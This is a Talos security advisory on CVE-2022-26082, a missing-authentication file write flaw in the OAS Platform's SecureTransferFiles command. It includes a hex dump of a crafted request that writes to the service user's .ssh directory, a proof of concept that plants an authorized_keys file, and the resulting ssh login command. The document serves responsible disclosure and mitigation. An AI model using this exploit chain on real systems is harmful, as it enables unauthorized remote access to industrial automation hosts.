Talos Vulnerability Report

TALOS-2022-1493

Open Automation Software Platform Engine SecureTransferFiles file write vulnerability

MAY 25, 2022

CVE NUMBER

CVE-2022-26082

Summary

A file write vulnerability exists in the OAS Engine SecureTransferFiles functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted series of network requests can lead to remote code execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

Open Automation Software OAS Platform V16.00.0112

Product URLs

OAS Platform - https://openautomationsoftware.com/knowledge-base/getting-started-with-oas/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-306 - Missing Authentication for Critical Function

Details

The OAS Platform was built to facilitate the simplified transfer of data between various proprietary devices and applications. It can be used to connect products from multiple different vendors, connect a product to a custom application, and more. Configuration of the platform is possible through TCP/58727 by default.

By sending a series of properly-formatted configuration messages to the OAS Platform, it is possible to upload an arbitrary file to any location permissible by the underlying user. By default these messages can be sent to TCP/58727 and, if successful, will be processed by the user `oasuser` with normal user permissions.

Before the transfer of a file will be accepted, it is necessary that a Security Group with File Transfer permissions and a User Account in that group exist. Both the Security Group and the User Account referred to here are elements within the OAS Platform, not on the underlying Linux machine. If an acceptable Security Group and User Account already exist, the necessary credentials can be sniffed off the network and used for the transfer. If they do not exist, they would need to be created before exploitation would be possible.

Once the required Security Group and User Account credentials have been obtained, a file of choice can be uploaded to the underlying linux machine at any path permissible by the user owning the `oas-engine` service, through use of the `SecureTransferFiles` command accompanied with the newly created (or sniffed) credentials. A valid `SecureTransferFiles` command resembles the following:

```
0000   00 0c 29 5e b3 62 c4 b3 01 c3 ba c9 08 00 45 00   ..)^.b........E.
0010   02 b6 00 00 40 00 40 06 a2 4f c0 a8 0a 6a c0 a8   ....@.@..O...j..
0020   0a 38 c4 ea e5 67 18 9e 24 8a 19 e0 9f df 80 18   .8...g..$.......
0030   08 0a b5 4d 00 00 01 01 08 0a 36 5a a0 6d d6 19   ...M......6Z.m..
0040   2e 41 00 00 00 00 00 d0 83 40 00 01 00 00 00 ff   .A.......@......
0050   ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00 00   ................
0060   03 00 00 00 08 08 01 00 00 00 06 02 00 00 00 13   ................
0070   53 65 63 75 72 65 54 72 61 6e 73 66 65 72 46 69   SecureTransferFi
0080   6c 65 73 09 03 00 00 00 10 03 00 00 00 04 00 00   les.............
0090   00 08 08 01 00 00 00 06 04 00 00 00 0d 4d 61 6c   .............Mal
00a0   69 63 69 6f 75 73 55 73 65 72 06 05 00 00 00 20   iciousUser.....
00b0   31 4d 5a 4a 32 58 54 65 41 77 69 38 38 2b 61 59   1MZJ2XTeAwi88+aY
00c0   78 62 55 30 37 76 2b 6b 34 47 57 4a 69 56 50 78   xbU07v+k4GWJiVPx
00d0   09 06 00 00 00 10 06 00 00 00 01 00 00 00 09 07   ................
00e0   00 00 00 10 07 00 00 00 04 00 00 00 08 08 01 00   ................
00f0   00 00 06 08 00 00 00 13 2f 68 6f 6d 65 2f 6f 61   ......../home/oa
0100   73 75 73 65 72 2f 2e 73 73 68 2f 06 09 00 00 00   suser/.ssh/.....
```

When a successful `SecureTransferFiles` command is received, a response similar to the following will be returned:

```
0000   00 00 00 00 00 80 44 40 00 01 00 00 00 ff ff ff   ......D@........
0010   ff 01 00 00 00 00 00 00 00 10 01 00 00 00 02 00   ................
0020   00 00 06 02 00 00 00 07 53 75 63 63 65 73 73 0a   ........Success.
0030   0b                                                .
```

With file upload functionality successful, various approaches can be taken to get access to the system. The proof-of-concept here uploads a new `authorized_keys` file to the `oasuser`'s `.ssh` directory, after which it is possible to gain access to the system via a ssh command like the following: `ssh -i id_rsa oasuser@192.168.1.10`

Mitigation

The easiest way to mitigate attempts to exploit this vulnerability is to prevent access to the configuration port (TCP/58727 by default) when not actively configuring the OAS Platform. Additionally, use a dedicated user account to run the OAS Platform and ensure that user account does not have any more permissions than absolutely necessary.

Vendor Response

released as version 16.00.0113

https://openautomationsoftware.com/downloads/

Timeline

2022-03-15 - Vendor Disclosure
2022-05-22 - Vendor Patch Release
2022-05-25 - Public Release

CREDIT

Discovered by Jared Rittle of Cisco Talos.
